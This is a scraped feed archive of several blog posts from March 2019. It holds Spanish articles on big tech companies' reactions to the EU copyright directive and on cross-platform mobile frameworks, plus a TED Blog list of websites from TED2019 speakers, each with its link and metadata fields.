Otras empresas como Facebook, Twitch o Tik Tok todavía no se han pronunciado sobre esta nueva directiva de copyright de la Unión Europea. Por el momento, como hemos podido ver por las declaraciones nombradas, todavía queda por conocer cómo llegarán a implementarse los artículos 15 y 17. El marco legal de cada país aún debe establecerse y se acercan elecciones europeas. Un margen de tiempo en el que quizás la presión de estas empresas y la de los usuarios de la red modifiquen de nuevo la ley en el futuro. 
También te recomendamos
 

         
            El Artículo 13 sigue vivo: Francia y Alemania acuerdan llevar a votación una nueva reforma más estricta de la Ley del Copyright 
        
     

         
            Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué? 
        
     

         
            Estas son todas las muertes que habrías sufrido sin tecnología 
        
     
 –   La noticia 
        
         Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE  
        
       fue publicada originalmente en 
        
         Xataka  
        
              por  
        Enrique Pérez 
        
       .</text><languageCode>es</languageCode><locationCode>gb</locationCode><coordinates /><links><link>http://www.europa.eu/rapid/press-release_STATEMENT-19-1839_en.htm</link><link>https://www.genbeta.com/actualidad/articulo-13-ley-copyright-salio-adelante-forma-directa-porque-algunos-diputados-se-equivocaron-al-votar</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright</link><link>https://www.twitter.com/dbravo/status/1110853630415044608</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea</link><link>https://www.xataka.com/legislacion-y-derechos/que-articulo-13-que-google-youtube-estan-haciendo-campana</link><link>https://www.genbeta.com/actualidad/asi-como-dice-google-que-se-vera-buscador-finalmente-se-aprueba-reforma-ley-copyright</link><link>https://www.twitter.com/MattBrittin</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/ETHEOYwr7w</link><link>https://www.twitter.com/YTCreators/status/1110512610812801024?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.twitter.com/SusanWojcicki/status/1110826965731172352</link><link>https://www.genbeta.com/actualidad/wikipedia-se-apaga-pornhub-twitch-reddit-protestan-nueva-directiva-copyright-europea</link><link>https://www.wikimediafoundation.org/2019/03/26/european-parliament-limits-internet-freedom-in-controversial-copyright-vote</link><link>https://www.twitter.com/jimmy_wales/status/1110517366365044736?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.redditblog.com/2019/03/20/error-copyright-not-detected-what-eu-redditors-can-expect-to-see-today-and-why-it-matters</link><link>https://www.twitter.com/reddit/status/1108503484633100289</link><link>https://www.reddit.com/r/copypasta/comments/b5r4wz/𝑇ℎ𝑖𝑠_𝑐𝑜𝑚𝑚𝑒𝑛𝑡_ℎ𝑎𝑠_𝑏𝑒𝑒𝑛_𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑_𝑑𝑢𝑒_𝑡𝑜_𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛</link><link>https://blog.mozilla.org/netpolicy/2019/03/25/eu-copyright-reform-a-missed-opportunity</link><link>https://blog.mozilla.org/netpolicy/2019/03/26/copyright_outcome</link><link>http://www.edima-eu.org/news/edima-reaction-eu-copyright-directive-is-not-fit-for-digital-era</link><link>https://www.xataka.com/aplicaciones/oficial-microsoft-compra-github-7-500-millones-dolares</link><link>https://www.twitter.com/hashtag/CopyrightDirective?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/TDM?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article11?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.twitter.com/hashtag/Article13?src=hash&amp;ref_src=twsrc^tfw</link><link>https://www.t.co/KChdnNY7Wj</link><link>https://www.twitter.com/GitHubPolicy/status/1108766937083834369?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.github.blog/2019-02-13-the-eu-copyright-directive-what-happens-from-here</link><link>https://www.thenextweb.com/dd/2019/03/25/inside-githubs-fight-to-protect-devs-from-eus-disastrous-copyright-reform</link><link>https://www.meneame.net/m/Artículos/como-afectara-meneame-directiva-copyright-europeo</link><link>https://www.t.co/wx2eVYu7ZW</link><link>https://www.twitter.com/dseijo/status/1110869108361449472?ref_src=twsrc^tfw</link><link>https://platform.twitter.com/widgets.js</link><link>https://www.xataka.com/legislacion-y-derechos/articulo-13-sigue-vivo-francia-alemania-acuerdan-llevar-a-votacion-nueva-reforma-estricta-ley-copyright?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/se-aprueba-directiva-copyright-union-europea?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com//https://www.bloglenovo.es/estas-son-todas-las-muertes-que-habrias-sufrido-sin-tecnologia/?utm_source=recommended&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/legislacion-y-derechos/esta-ha-sido-reaccion-grandes-companias-tecnologia-nueva-ley-copyright-ue?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>https://www.xataka.com/autor/lyzanor?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=27_Mar_2019</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:3QFJfmc7Om4</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:I9og5sOYxJI</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:qj6IDK7rITs</link><link>http://feeds.weblogssl.com/~ff/xataka2?a=-j1ps_vsEW4:tbYbhi1-erA:ecdYMiMMAMM</link></links><tags><tag>News</tag><tag>IFTTT</tag><tag>xataka</tag></tags><images /><indexedAt>2019-03-27T18:41:58Z</indexedAt><publishedAt>2019-03-27T18:14:20Z</publishedAt><reindexedAt>2019-03-27T18:41:58Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8022782216872715981</blogId><blogName>JanyoBytes</blogName><blogUrl>https://janyobytes.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>8720839624598144373</id><author>Carlos Aquino</author><url>https://theeyeofprogramming.home.blog/2019/03/27/desarrollo-movil-multiplataforma/</url><title>Desarrollo móvil multiplataforma</title><text>Estaremos explorando algunas de las opciones que nos permiten construir aplicaciones realmente nativas tanto para iOS y Android, es decir sin la necesidad de escribir código Objective-C/Swift y Java/Kotlin. Las plataformas que se mencionaran son las más utilizadas dentro del ámbito del desarrollo móvil.F 



Flutter 



Es un SDK y también un framework para Dark(lenguaje de programación desarrollado y mantenido por Google).  La idea detrás de Flutter es escribir todo el código en Dart el cual es compilado a código nativo que se ejecutará en dispositivo. Utilizas Dart con Flutter para construir interfaces de usuarios (UI) llamadas widgets de las cuales hay muchas provistas por el framework. El framework tiene pre-configurados componentes o mejor decir widgets (Buttons, Navigation Bars, etc) los cuales son los más utilizados y también puedes crear tus propios para tus necesidades particulares.  



Flutter.IO



React Native 



Es muy conocido por la comunidad de desarrolladores web, framework creado por Facebook, utiliza JavaScript como lenguaje y React (librería también creada por FB) la cual nos permite crear tremendas interfaces de usuarios basadas en los componentes que contiene esta.  A diferencia de las aplicaciones en React que están construidas para funcionar el el browser, no estarás utilizando tags de HTML en este caso serán componentes pre-construidos que se compilan a código nativo. Algo importante a destacar es que si tienes experiencia con React(puedes utilizar paquetes como Redux) y sabiendo JavaScript puedes comenzar a construir apps bien rápido con React Native.  



React Native. 



NativeScript 



También utiliza JavaScript para construir aplicaciones nativas, permite utilizar diferentes opciones como puro JavaScript/TypeScript con Angular y Vue.js. Todas estas opciones están activas(en desarrollo) y mantenidas una independiente de la otra, tendrás que revisar la documentación para identificar cual es más conveniente basado en tu experiencia o que una de estas tenga más componentes que la otra. Al igual que Flutter y React Native, NativeScript viene con gran cantidad de componentes pre-construidos para ser utilizados en las interfaces de usuarios y igual que React Native no trabaja con HTML.  



NativeScript



Ionic 



Sigue una estrategia diferente de las otras pero es un framework que no podemos dejar fuera de mencionar porque es muy utilizado por desarrolladores web. Con Ionic continuas teniendo un app nativa pero creando un web app es decir HTML, CSS &amp; JS la cual está empaquetada en una aplicación nativa que solo contiene un webview(un navegador solo con la parte donde se muestra el contenido web). Como estás construyendo una página web Ionic es un framework muy fácil de adoptar por cualquier desarrollador web. También provee herramientas que hace el desarrollo fácil de manejar, estas incluyen librerías que te permiten acceder elementos del hardware como la cámara, el GPS, y simuladores. 



Ionic



¿Que opciones tenemos disponibles? 



Nativo(Native). significa Kotlin y Swift lo cual nos requiere aprender estos lenguajes, lo bueno de esto es que tendremos acceso a todos los features de estas plataformas cuando lancen funcionalidades nuevas las tendremos inmediatamente y que también que no necesitamos ningún paso adicional para llevar nuestro código a lenguaje nativo(machine code), la única desventaja que tenemos es de mantener los SDKs para cada plataforma utilizando sus respectivos lenguajes de programación, para iOS Swift/Objective-c y para Android Kotlin/Java. 



Híbrido(Hybrid). Es un mecanismo tomado por Cordova y Ionic donde la idea es construir un website básicamente HTML, CSS &amp; JS y es cargado en un componente llamado webview(un navegador sin la barra de navegación y las otras opciones), esencialmente tu webpage es ejecutado desde una aplicación nativa que contiene un webview y todos tus recursos están empaquetados dentro de un App que puede ser publicada en las tiendas para que pueda ser descargadas por tus usuarios. 



Compiladas(Compiled). Está opción trata de utilizar un solo lenguaje de programación con el fin de obtener una App nativa, React Native, NativeScript y Flutter trata de proveer. La idea es trabajar con una sola tecnología y un lenguaje de programación como JS para React Native/NativeScript y Dart para Flutter, el código es parcialmente compilado a código nativo para ser más específico los componentes gráficos (UI) son compilados a su equivalente nativo y esto típicamente nos ayuda a construir aplicaciones más rápidas si la comparamos con la híbridas. 



Aquí vemos una comparación las opciones compiladas, todas tienen en común que utilizan un lenguaje de programación para generar una aplicación nativa. La gran diferencia es Flutter el cual utiliza Dart a diferencia de ReactNative y NativeScript utilizan JavaScript, si eres desarrollador web esto debe ser una ventaja para ti en el otro caso deberás aprender Dart que puedo decir que es un lenguaje fácil de aprender. 



Algo muy importante para mencionar es que React Native y con NativeScript el código no es compilado a nativo lo que quiere decir que tu JS no será llevado a lenguaje de máquina en lo contrario se ejecutará en un thread(hilo) separado en la aplicación móvil, lo que si es compilado a lenguaje de máquina son los elementos de UI, aclarando no es una opción híbrida como ionic la cual se mantiene en HTML porque básicamente tenemos una webpage al final, aquí es donde compilar los componentes a nativos nos dará un mejor rendimiento(performance). 



En el caso de Flutter es diferente porque compila a ARM y genera una librería C/C++ lo cual nos dice que es lo más cercano a código nativo, Dart no se ejecuta en un thread o instancia separada que tiene que comunicarse con la versión compilada de los componentes, haciéndolo un poco más claro el código Dart es compilado a una librería que es consumida por el código nativo lo cual lo hace más rápido en términos de rendimiento. 



Sabemos que JavaScript no fue inventado para esto, es algo que todos tenemos que reconocer se ha probado por el trabajo que han hecho ReactNative y NativeScript en hacer que todo funcione aunque en algunos casos implican realizar soluciones alternas donde muchas de estas pueden convertirse en algo complejo(algunas implican un proxy). 



En el caso de Flutter, igual Dart no fue creado para desarrollar aplicaciones móviles pero cómo es manejado y mantenido por la misma compañía(Google), ellos están haciendo una gran inversión en asegurarse que puedas desarrollar aplicaciones multiplataforma con Dart. Personalmente no tengo mucha experiencia con este pero al igual que los demás necesitas ser un poco creativo para encontrar una solución para esos escenarios especiales que tu app puede tener. 



Todas la opciones mencionadas tienen componentes preexistentes y también puedes crear tus propios, algunos tienen más widgets/componentes que la otra pero tienes la oportunidad de modificar/crear estos para la plataforma de tu selección, puedes detectar y manejar manualmente dependiendo de la plataforma en que tu app se ejecute. 



Escribe una vez, utilízalo en todas partes. 



No me malinterpretes, la idea detrás de todas estas tecnologías es de reusar código y utilizar un solo lenguaje de programación. Pero en algunos casos tendrás que proporcionar un desarrollo particular (independientemente que utilices el mismo lenguaje) para cada plataforma. 



Un ejemplo muy común es cuando tienes que posicionar elementos en diferentes posiciones dependiendo el diseño proveído o porque este no existe(en el framework de tu elección) para ambas plataformas 



Aprende una vez, pública para todas las tiendas 



Esto aplica para todas las opciones que hemos estado explorando excepto las nativas. Es cierto que en general sólo tienes todo tu código base en un solo lenguaje pero algunas ocasiones debes buscar alternativas lo cual está muy atado el desarrollo en particular que estés trabajando. 



Popularidad y cobertura 



Tener un ecosistema vibrante es una cosa buena — pero ¿que tan popular es esta opción? no necesariamente es lo mismo cuando tienes un ecosistema bueno por ser bien adaptado a la industria versus que sea popular por la comunidad de desarrolladores. 



Flutter: es muy claro que Google está invirtiendo muchos recuerdos en convertirlo en algo grande y hasta el momento por lo que he apreciado le está funcionando. Puedo decir que construir una aplicación desde una idea a un prototipo es divertido con este. 



Nativo: Tenemos muchos libros, cursos, artículos, foros y cobertura de los medios de comunicación en las últimas novedades. Si alguien quiere construir una aplicación de seguro que estará viendo algún material de las plataformas nativas. 



React Native: es el más activos de todos en GitHub. Puedes encontrar varias discusiones, una gran comunidad soportada por el popular React y lo más importante JavaScript el lenguaje más popular para desarrollo web. Estos son muy buenos argumentos para tomarlos en consideración. 



Performance 



Esta métrica habla por si misma   como se diferencian estas tecnologías desde el punto de vista de performance(rendimiento) 



Flutter, NativeScript and React Native: Todos estos tres ofrecen tener un App nativo(compilado de tu código) y por esto, proveen mejor performance que Ionic. Realizar mediciones exactas en cual de estos es el mejor es un poco difícil ya que depende mucho en el App que estás construyendo, el dispositivo móvil que estás utilizando, la versión del sistema operativo donde se está ejecutando tu App y la versión de Flutter/ React Native/ NativeScript que estés utilizando, todos prometen buen desempeño es lo único que debes saber! 



Los nativos: Prácticamente no hay forma de competir con ellos, ya que todos (los que compilan a nativo)tratan de acercarse a estos. 



Híbridas: En el caso de Ionic muestra el peor performance ya que es un aplicación web empaquetada, generalmente esto es mal interpretado “peor” suena extremadamente mal pero esto no significa horrible, simplemente este ofrece el rendimiento más bajo comparado con las otros métodos y si lo vemos desde la perspectiva de los dispositivos que tenemos hoy en dia tu App probablemente se ejecute de manera fluida. Para ilustrar lo que me estoy refiriendo imaginemos tu tienes 100 fps en vez de 140 fps — ¿notarías la diferencia? no creo, en este sentido puedes mantener Ionic como una de tus opciones. 



Casos de uso reales 



Grandioso que ya estás convencido de que tecnología vas a utilizar   pero como el resto del mundo piensa de esto  aqui una comparacion. 



Lenguajes nativos: La gran mayoría de apps disponibles en la tiendas de aplicaciones están escritas en estos lenguajes nativos. Cada uno de actores en la actualidad(Google, Apple) tratan de proveer las mejores herramientas, soporte y las mejoras al día, esto contribuye a que la mayoría de desarrolladores/empresas elijan esta opción principalmente en mi opinión por soporte y mantenibilidad. 



React Native: Utilizado por algunas empresas grandes como Facebook(quienes desarrollaron React Native) y también un caso muy conocido en la comunidad el cual es bueno notar por los grandes aportes que han dado es  AirBnB  los cuales tomaron una decisión reciente de moverse a nativo. Es bueno resaltar que parte de su popularidad se debe a React.js donde tenemos un gran cantidad de desarrolladores web que conocen esta librería y React Native les ayuda a cerrar la brecha para poder llegar a desarrollar aplicaciones móviles utilizando las herramientas que conocen. 



Flutter: Es relativamente nuevo pero con los recursos y el tremendo soporte de Google los cuales lo está utilizando en algunas de sus aplicaciones ejemplo AdWords, ya ha empresas de la industria que están apostando a Flutter por la agilidad que les brinda al crear interfaces y mucho mas si estas muy basado en material, un caso real es Alibaba los cuales están en un mercado muy particular(china) y desarrollaron el app Xianyu(un ecommerce) donde tienen más de 50 millones de usuarios. 



 Fuente de la información.</text><languageCode>es</languageCode><locationCode /><coordinates /><links><link>https://www.medium.com/@noebranagan/https-medium-com-noebranagan-hablemos-de-multiplataforma-2ba36fb25265</link></links><tags><tag>Sin categoría</tag></tags><images /><indexedAt>2019-03-27T18:51:51Z</indexedAt><publishedAt>2019-03-27T18:13:59Z</publishedAt><reindexedAt>2019-03-27T18:51:51Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>14796405624749878493</blogId><blogName>THE EYE OF PROGRAMMING</blogName><blogUrl>https://theeyeofprogramming.home.blog</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>15241674034401434442</id><author>sduro</author><url>http://blog.gstore.es/from-ted2019-speakers-14-websites-and-links-that-you-didnt-know-you-needed-in-your-life/</url><title>From TED2019 speakers: 14 websites and links that you didn’t know you needed in your life</title><text>We’re excited about the lineup for TED2019: “Bigger than us”. So excited that we compiled a list of websites, links and pages from this year’s speakers that you didn’t know you needed. But you do. 
1. AI Weirdness 
Adventures in the often hilarious antics of AI algorithms as they try to imitate human datasets, like firework names or Dungeons and Dragons character bios. Here’s a gem from a neural network doing its best Julia Child impression: 
 
Or perhaps you’re more in the mood for horseradish brownies? 
Found thanks to speaker: Janelle Shane 
2. One Love 
Want to learn how to love better? Peruse this collection of tips, advice and practical resources about building healthy relationships — and spotting unhealthy ones. You can even order a box of chocolates that will give you a “taste” of different relationship behaviors, like manipulation or respect. Because you deserve a healthy relationship and chocolate, too. 
Found thanks to speaker: Katie Hood 
3. “Cephalopod dynamic camouflage” 
Chameleons are the masters of disguise, right? Wrong. This quick overview of the camouflage skills of cephalopods (octopuses, cuttlefish and squids) will make your jaw drop. See how they rapidly camouflage against almost any background: colorful coral reefs, kelp forests, sand, seagrass beds … 
 
Found thanks to speaker: Roger Hanlon 
4. The Laughing Room 
An interactive art installation meets a social psych experiment. This “artificially-intelligent room” is designed to look like a sitcom set, but with a twist: the room analyzes participants’ patterns of laughter and plays a laugh track based on that data. Jump in at around minute 30 of the livestream and enjoy the awkwardness. 
Found thanks to speaker: Jonny Sun 
5. Please Feed the Lions 
A poetry-spewing lion sculpture in London’s Trafalgar Square. Need we say more? 
Found thanks to speaker: Es Devlin 
6. “Sleep and Human Aging” 
Our sleep patterns change as we grow older. Why is that? This study offers a wealth of answers (and will make you feel better about taking more naps). 
Found thanks to speaker: Matthew Walker 
7. Please Like Me 
You’re probably familiar with Hannah Gadsby’s critically acclaimed Netflix special, Nanette, but have you seen the four seasons of her Hulu series, Please Like Me? If you need a show to fill that 25-minute comedy slot in your TV life, start watching now. 
Found thanks to speaker: Hannah Gadsby 
8. “Life, Interrupted” 
Reflections on family, love and activism from Suleika Jaouad, a young writer diagnosed with leukemia at the age of 22. An invaluable resource for those battling cancer. 
Found thanks to speaker: Suleika Jaouad 
9. Robogamis 
The days of big, clunky robots are over. These folding robots are inspired by origami, can morph into 2D or 3D shapes and we need one to play with. 
 
Found thanks to speaker: Jamie Paik 
10. “Smartphone use undermines enjoyment of face-to-face social interactions” (PDF) 
The first concrete evidence that phone use may spoil our enjoyment of real-world social interactions. You probably already knew that, but now you have the facts to back it up. So, really: put your phone away at dinner! (You can also listen to the study being read if you want to stop looking at your phone right now.) 
Thanks to speaker: Elizabeth Dunn 
11. Global Change 
The climate is changing. This much we know. But how can we prepare for the human health risks connected to climate change, like heat waves and rising sea levels? Explore this vast trove of resources to find out — and get involved in what could be the public health challenge of the century. 
Found thanks to speaker: Kristie Ebi 
12. “A digital gangster destroying democracy: the damning verdict on Facebook” 
A withering summary of the British Parliament’s 2019 report on fake news and disinformation, from the journalist who uncovered the Facebook-Cambridge Analytica story. Read the parliament’s full report here. 
Found thanks to speaker: Carole Cadwalladr 
13. “David Deutsch on the infinite reach of knowledge” 
Do you like having your mind slightly blown? Good, we do too. This episode of The TED Interview explores how humanity’s ability to attain knowledge first developed — and how it could take us across galaxies. 
Found thanks to speaker: David Deutsch 
14. “Fireworks” 
A remix of the song “Fireworks” by Swedish duo First Aid Kit … as though the song were playing on the radio while actual fireworks exploded in the distance. Surprisingly calming. 
Found thanks to performer: First Aid Kit 
And a bonus for making it this far: travel back in time to TED7 … how far we’ve come since then! 
from TED Blog https://ift.tt/2OuT0da</text><languageCode>en</languageCode><locationCode>es</locationCode><coordinates /><links><link>https://ted2019.ted.com/speakers</link><link>http://www.aiweirdness.com/</link><link>http://www.aiweirdness.com/post/181458795027/a-neural-net-names-fireworks</link><link>http://www.aiweirdness.com/post/180174234602/a-neural-network-will-write-your-dd-character-bio</link><link>http://www.aiweirdness.com/post/160349989777/in-which-the-neural-network-gets-bored-halfway</link><link>https://ted2019.ted.com/speakers#janelle-shane</link><link>https://www.joinonelove.org/lovebetter</link><link>https://ted2019.ted.com/speakers#katie-hood</link><link>https://www.cell.com/current-biology/fulltext/S0960-9822(07)01138-4</link><link>https://ted2019.ted.com/speakers#roger-hanlon</link><link>https://metalabharvard.github.io/projects/laughingroom</link><link>https://www.pscp.tv/thelaughingroom/1nAKEyXZqMbKL</link><link>https://ted2019.ted.com/speakers#jonny-sun</link><link>https://artsandculture.google.com/project/please-feed-the-lions</link><link>https://ted2019.ted.com/speakers#es-devlin</link><link>https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5810920</link><link>https://ted2019.ted.com/speakers#matthew-walker</link><link>https://www.hulu.com/series/please-like-me-172a0482-c365-4225-935e-255d45314c52</link><link>https://www.netflix.com/title/80233611</link><link>https://www.hulu.com/series/please-like-me-172a0482-c365-4225-935e-255d45314c52</link><link>https://ted2019.ted.com/speakers#hannah-gadsby</link><link>https://www.nytimes.com/column/life-interrupted</link><link>https://ted2019.ted.com/speakers#suleika-jaouad</link><link>https://rrl.epfl.ch/</link><link>https://www.youtube.com/watch?v=1uO0mlIIkug</link><link>https://ted2019.ted.com/speakers#jamie-paik</link><link>https://tedconfblog.files.wordpress.com/2019/03/348ce-dwyerkushlevdunnjesp.pdf</link><link>https://www.sciencedirect.com/science/article/pii/S0022103117301737?via%3Dihub</link><link>https://ted2019.ted.com/speakers#elizabeth-dunn</link><link>http://globalchange.uw.edu/</link><link>https://ted2019.ted.com/speakers#kristie-ebi</link><link>https://www.theguardian.com/technology/2019/feb/18/a-digital-gangster-destroying-democracy-the-damning-verdict-on-facebook</link><link>https://www.twitter.com/carolecadwalla</link><link>https://publications.parliament.uk/pa/cm201719/cmselect/cmcumeds/1791/179102.htm</link><link>https://ted2019.ted.com/speakers#carole-cadwalladr</link><link>https://itunes.apple.com/us/podcast/david-deutsch-on-the-infinite-reach-of-knowledge/id1437306870?i=1000422419366&amp;mt=2</link><link>https://itunes.apple.com/us/podcast/the-ted-interview/id1437306870?mt=2</link><link>https://ted2019.ted.com/speakers#david-deutsch</link><link>http://bassiter.tumblr.com/post/182792750604/fireworks-by-first-aid-kit-except-from-your-radio</link><link>https://www.youtube.com/watch?v=wp3op-DYFG4</link><link>https://ted2019.ted.com/speakers#first-aid-kit</link><link>https://web.archive.org/web/19961115115449/http://www.ted.com/ted7.shtml</link></links><tags><tag>Documental</tag><tag>Noticias</tag><tag>Speaks and Talks</tag><tag>TED</tag><tag>TED Blog</tag></tags><images /><indexedAt>2019-03-27T18:09:41Z</indexedAt><publishedAt>2019-03-27T18:09:13Z</publishedAt><reindexedAt>2019-03-27T18:09:41Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7724023829096237928</blogId><blogName>gStore</blogName><blogUrl>http://blog.gstore.es</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>2532865185654444728</id><author>janyobytes</author><url>https://janyobytes.wordpress.com/2019/03/27/esta-ha-sido-la-reaccion-de-las-grandes-companias-de-tecnologia-ante-la-nueva-ley-de-copyright-de-la-ue/</url><title>Esta ha sido la reacción de las grandes compañías de tecnología ante la nueva Ley de Copyright de la UE</title><text>Los polémicos artículos 11 y 13 (ahora 15 y 17) han sido aprobados. La nueva Ley del Copyright de la Unión Europea plantea importantes cambios para la internet que todos conocemos, pero todavía es pronto para saber qué implicaciones y efectos tendrá.  
Según la directiva aprobada, casi de rebote, las grandes empresas (y no tan grandes), deberán implantar filtros automatizados para detectar contenido susceptible de estar bajo derechos de autor. Una acción que como explica David Bravo, abogado especializado en propiedad intelectual, “convierte a las plataformas que alojan contenidos en los responsables de lo que suben sus usuarios de forma continua y masiva”. A lo que concluye que “a todos los efectos es como si los subieran ellos personalmente”. 
Para conocer un poco más sobre las consecuencias de la nueva directiva de la Unión Europea y cómo afectará a la red, hemos repasado y preguntado a las principales compañías tecnológicas afectadas por las medidas aprobadas. Esta es su postura.   
 



    
     
   
  


    En Xataka
   
   Se aprueba la directiva del copyright en la Unión Europea: llegan el artículo 11 y el artículo 13. ¿Y ahora qué?
  
 

Google

  

Google ha sido una de las compañías de tecnología que más esfuerzos realizó para evitar la aprobación de esta nueva ley del copyright. A principios de año, alertaba que con la aprobación del por entonces artículo 11, su buscador tendría una apariencia muy distinta. Incluso no se descartaba el cierre de Google News en Europa, aunque no era algo que les gustaría que pasara”.  
La compañía no ha anunciado decisiones concretas y nos emplaza al futuro, aunque su posición refleja inseguridad. Matt Brittin, presidente de Google Europa ha expresado la siguiente postura sobre los cambios en la directiva sobre el Copyright: 

“La directiva sobre Copyright ha mejorado pero seguirá provocando inseguridades jurídicas y perjudicará a las economías creativas y digitales en Europa. Los detalles importan, y esperamos poder trabajar con los responsables políticos, editores, creadores y propietarios de derechos, a medida que los Estados miembros de la UE avanzan en la aplicación de estas nuevas normas”. 

Youtube
Youtube es otra de las grandes plataformas afectadas. Desde Youtube Creators, han dado las gracias a todos aquellos que explicaron los efectos del artículo 13 y cómo iba a afectar a la comunidad. Y, como Google, emplazan a una posible revisión de la ley.  

Update: The European Parliament has now voted on the EU Copyright Directive. Thanks to all the creators who spoke up about how #Article13 will impact them and their communities. Here's our statement on today's vote  pic.twitter.com/ETHEOYwr7w 
— YouTube Creators (@YTCreators) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Susan Wojcicki, CEO de Youtube, también ha publicado su postura en su perfil de Twitter haciendo hincapié que la Ley del Copyright fue aprobada por muy pocos votos de margen y que podría haber ido de manera diferente. “Es el principio”, apunta.  
Wikipedia

  

Para protestar contra la nueva Ley del Copyright, Wikipedia apagó las versiones de varios países. Una vez aprobada, desde la fundación Wikimedia publicaron un comunicado donde “esperan ver repercusiones directas en todas las actividades online”.  

You, the Internet user, have lost a huge battle today in Internet parliament.  The free and open internet is being quickly handed over to corporate giants at the expense of ordinary people.  This is not about helping artists, it is about empowering monopolistic practices. 
— Jimmy Wales (@jimmy_wales) 26 de marzo de 2019 
https://platform.twitter.com/widgets.js 
Según Wikimedia, el artículo 15 requerirá que ciertas páginas web de noticias tengan que adquirir licencias para el contenido que están mostrando. Como resultado, muchas webs que ayudaban a descubrir contenido no podrán ofrecer este servicio, dificultando la posibilidad de encontrar nuevas noticias de fuentes fiables.  
Respecto al artículo 17 (antiguo artículo 13), Wikimedia explica que introducirá un nuevo régimen de responsabilidad en toda la Unión Europea, según el cual las webs podrán ser demandadas por violaciones de copyright de los usuarios. Esto incentivará las páginas que filtren todo el contenido y dejen solo las “seguras” desde una perspectiva del copyright. Erosionando las excepciones y limitaciones del propio copyright al dejar que sean las plataformas las que juzguen lo es y no es una infracción.  
Desde el lado positivo. Wikimedia explica que la nueva directiva garantizará las obras de dominio público y los museos y bibliotecas podrán ofrecer acceso digital a las obras que todavía no son de dominio público.  
Y apuntan un último detalle clave sobre esta nueva ley del Copyright: los distintos países tienen dos años para implementarla en sus leyes nacionales. “Muchos países abrirán y modificarán su ley de derechos de autor por primera vez en años”, explica Wikimedia. 
Reddit

  

Reddit es otra empresa afectada directamente por la nueva Ley del Copyright. Pese a ser una compañía norteamericana, tienen una gran base de usuarios en Europa e incluso avisan que esta ley podría afectar a la disponibilidad de sus servicios incluso a los usuarios no europeos.   
Desde sus redes sociales y foros han movilizado a sus usuarios para contactar con los políticos y hacerles cambiar el sentido de su voto, una acción que finalmente se ha demostrado incapaz de cambiar el resultado final.  
Según Reddit, el conocido como artículo 13 obligará a la plataforma a proactivamente confirmar que cada tema tiene los permisos necesarios. Algo imposible de detectar sin mecanismos automatizados. Se trata de un problema de negocio para ellos, lo que impactará en la habilidad de Reddit para competir contra otras grandes empresas. Pero también ponen el foco en la opacidad del proceso.  
Ante la nueva ley del copyright, los usuarios de Reddit ya han empezado a [𝑇ℎ𝑖𝑠 𝑐𝑜𝑚𝑚𝑒𝑛𝑡 ℎ𝑎𝑠 𝑏𝑒𝑒𝑛 𝑐𝑒𝑛𝑠𝑜𝑟𝑒𝑑 𝑑𝑢𝑒 𝑡𝑜 𝐸𝑢𝑟𝑜𝑝𝑒𝑎𝑛 𝑈𝑛𝑖𝑜𝑛’𝑠 𝑐𝑜𝑝𝑦𝑟𝑖𝑔ℎ𝑡 𝑙𝑎𝑤]. 
Mozilla
La fundación Mozilla publicó un comunicado donde describía la nueva Ley de Copyright como una oportunidad perdida.  
Según Mozilla, la nueva directiva obligará a los servicios en línea a implementar complejos filtros que en la práctica no serán siempre viables. Mientras que al mismo tiempo, se ha aprobado una medida que socavará el acceso al conocimiento y el intercambio de información en línea.  
Desde una postura a favor de los derechos de los creadores, en Mozilla creen que supone una victoria pírrica y esperan que los temas de copyright vuelvan a la agenda política durante los próximos años ya que los problemas para los creadores europeos y la prensa se mantendrán pese a la aprobación de esta nueva ley.  
Una vez conocidos los detalles, Raegan MacDonald, director de Mozilla EU Public Policy, ha publicado el siguiente comunicado:  

No hay nada que celebrar hoy. Con la oportunidad de incorporar las normas de derechos de autor en el siglo XXI, las instituciones de la UE han desaprovechado el progreso realizado por los innovadores y creadores para imaginar nuevos contenidos y compartirlos con personas de todo el mundo, y han devuelto el poder a grandes sellos discográficos de propiedad estadounidense. Estudios de cine y gran tecnología. 
